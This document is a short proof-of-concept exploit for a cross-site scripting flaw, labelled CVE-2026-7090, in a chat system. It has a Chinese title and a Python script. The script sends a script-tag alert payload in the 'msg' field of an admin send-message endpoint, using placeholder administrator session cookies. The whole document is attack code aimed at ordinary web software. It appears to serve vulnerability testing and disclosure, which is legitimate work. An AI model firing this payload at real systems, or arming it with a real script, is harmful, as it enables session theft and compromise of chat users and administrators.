CVE-2026-7090 Chat System 跨站脚本漏洞

import requests # Target URL of the vulnerable file target_url = "http://target-host/admin/send_message.php" # Malicious payload to test XSS xss_payload = "<script>alert('CVE-2026-7090_XSS');</script>" # Cookies simulating an authenticated high-privilege user (Admin) # Required due to PR:H (High Privileges) in CVSS vector cookies = { "PHPSESSID": "valid_admin_session_id", "security_level": "admin" } # Data payload targeting the vulnerable 'msg' argument post_data = { "msg": xss_payload, "submit": "Send" } try: response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the chat interface to see if the alert triggers.") else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", e)